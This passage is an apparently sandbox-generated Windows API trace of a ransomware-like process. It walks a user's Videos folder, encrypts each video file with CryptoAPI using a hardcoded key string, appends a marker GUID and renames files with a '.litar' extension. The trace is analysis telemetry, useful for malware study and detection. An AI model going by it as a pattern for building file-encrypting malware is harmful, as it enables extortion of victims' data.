lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.271] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.271] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.271] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\") returned="M1Ow pK RUoG\\" [0127.271] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\") returned="FlfRA9\\" [0127.271] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\") returned="b-b9YkzIMqBbLX\\" [0127.271] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.271] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.271] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.271] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.271] PathFindFileNameW (pszPath="") returned="" [0127.271] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511561d0, ftCreationTime.dwHighDateTime=0x1d4d241, ftLastAccessTime.dwLowDateTime=0xa68dc190, ftLastAccessTime.dwHighDateTime=0x1d4cd76, ftLastWriteTime.dwLowDateTime=0xa68dc190, ftLastWriteTime.dwHighDateTime=0x1d4cd76, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.275] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511561d0, ftCreationTime.dwHighDateTime=0x1d4d241, ftLastAccessTime.dwLowDateTime=0xa68dc190, ftLastAccessTime.dwHighDateTime=0x1d4cd76, ftLastWriteTime.dwLowDateTime=0xa68dc190, ftLastWriteTime.dwHighDateTime=0x1d4cd76, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.276] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f0f470, ftCreationTime.dwHighDateTime=0x1d4d258, ftLastAccessTime.dwLowDateTime=0x3c7d4660, ftLastAccessTime.dwHighDateTime=0x1d4cb67, ftLastWriteTime.dwLowDateTime=0x3c7d4660, ftLastWriteTime.dwHighDateTime=0x1d4cb67, nFileSizeHigh=0x0, nFileSizeLow=0xdb86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4t8dP5RHOtB8TtLqW.mp4", cAlternateFileName="4T8DP5~1.MP4")) returned 1 [0127.276] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\4t8dP5RHOtB8TtLqW.mp4") returned=".mp4" [0127.276] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\4t8dP5RHOtB8TtLqW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\4t8dp5rhotb8ttlqw.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.276] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=56198) returned 1 [0127.276] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.278] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdb60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.278] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.279] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xdb86, lpOverlapped=0x0) returned 1 [0127.280] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.280] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.280] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.280] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x69ff48) returned 1 [0127.281] CryptCreateHash (in: hProv=0x69ff48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.281] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.281] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.281] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.281] GetLastError () returned 0x0 [0127.281] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.281] CryptReleaseContext (hProv=0x69ff48, dwFlags=0x0) returned 1 [0127.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xdb90) returned 0x30fa0b0 [0127.281] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.281] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xdb81, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xdb81, lpOverlapped=0x0) returned 1 [0127.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.282] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdb86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.282] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.282] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.282] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.282] CloseHandle (hObject=0x624) returned 1 [0127.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.284] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\4t8dP5RHOtB8TtLqW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\4t8dp5rhotb8ttlqw.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\4t8dP5RHOtB8TtLqW.mp4.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\4t8dp5rhotb8ttlqw.mp4.litar")) returned 1 [0127.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.284] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.285] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5416f0, ftCreationTime.dwHighDateTime=0x1d4c814, ftLastAccessTime.dwLowDateTime=0x8c095be0, ftLastAccessTime.dwHighDateTime=0x1d4d2ee, ftLastWriteTime.dwLowDateTime=0x8c095be0, ftLastWriteTime.dwHighDateTime=0x1d4d2ee, nFileSizeHigh=0x0, nFileSizeLow=0x453b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="b3vNAE2PVhFDju_7yS.mp4", cAlternateFileName="B3VNAE~1.MP4")) returned 1 [0127.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x3098bf8 [0127.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.285] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\b3vNAE2PVhFDju_7yS.mp4") returned=".mp4" [0127.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\b3vNAE2PVhFDju_7yS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\b3vnae2pvhfdju_7ys.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.286] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=17723) returned 1 [0127.286] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.288] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4515, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.288] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.289] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.289] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.289] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.290] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x453b, lpOverlapped=0x0) returned 1 [0127.290] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.290] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.290] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.290] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.290] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x69ff48) returned 1 [0127.291] CryptCreateHash (in: hProv=0x69ff48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.291] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.291] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.291] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.291] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.291] GetLastError () returned 0x0 [0127.291] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.291] CryptReleaseContext (hProv=0x69ff48, dwFlags=0x0) returned 1 [0127.291] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.291] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4540) returned 0x30fa0b0 [0127.291] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.291] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.291] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x4536, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x4536, lpOverlapped=0x0) returned 1 [0127.292] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.292] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x453b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.292] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.292] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.292] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.292] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.292] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.292] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.292] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.292] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.292] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.292] CloseHandle (hObject=0x624) returned 1 [0127.293] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.293] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.293] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.293] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\b3vNAE2PVhFDju_7yS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\b3vnae2pvhfdju_7ys.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\b3vNAE2PVhFDju_7yS.mp4.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\b3vnae2pvhfdju_7ys.mp4.litar")) returned 1 [0127.294] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.294] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.294] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.294] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa993260, ftCreationTime.dwHighDateTime=0x1d4cfd3, ftLastAccessTime.dwLowDateTime=0x34a876f0, ftLastAccessTime.dwHighDateTime=0x1d4d2e0, ftLastWriteTime.dwLowDateTime=0x34a876f0, ftLastWriteTime.dwHighDateTime=0x1d4d2e0, nFileSizeHigh=0x0, nFileSizeLow=0xc02a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d_Y88L0xD5.mkv", cAlternateFileName="D_Y88L~1.MKV")) returned 1 [0127.295] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.295] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x3098bf8 [0127.295] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.295] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\d_Y88L0xD5.mkv") returned=".mkv" [0127.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\d_Y88L0xD5.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\d_y88l0xd5.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.295] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=49194) returned 1 [0127.295] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.297] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.297] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.298] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.298] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.298] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.298] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xc02a, lpOverlapped=0x0) returned 1 [0127.299] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.299] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.299] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.299] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.299] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x69ff48) returned 1 [0127.300] CryptCreateHash (in: hProv=0x69ff48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.300] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.300] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.300] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.300] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.300] GetLastError () returned 0x0 [0127.300] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.300] CryptReleaseContext (hProv=0x69ff48, dwFlags=0x0) returned 1 [0127.300] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.300] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc030) returned 0x30fa0b0 [0127.300] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.301] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.301] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xc025, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xc025, lpOverlapped=0x0) returned 1 [0127.301] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.301] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc02a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.301] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.301] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.301] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.301] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.301] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.301] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, 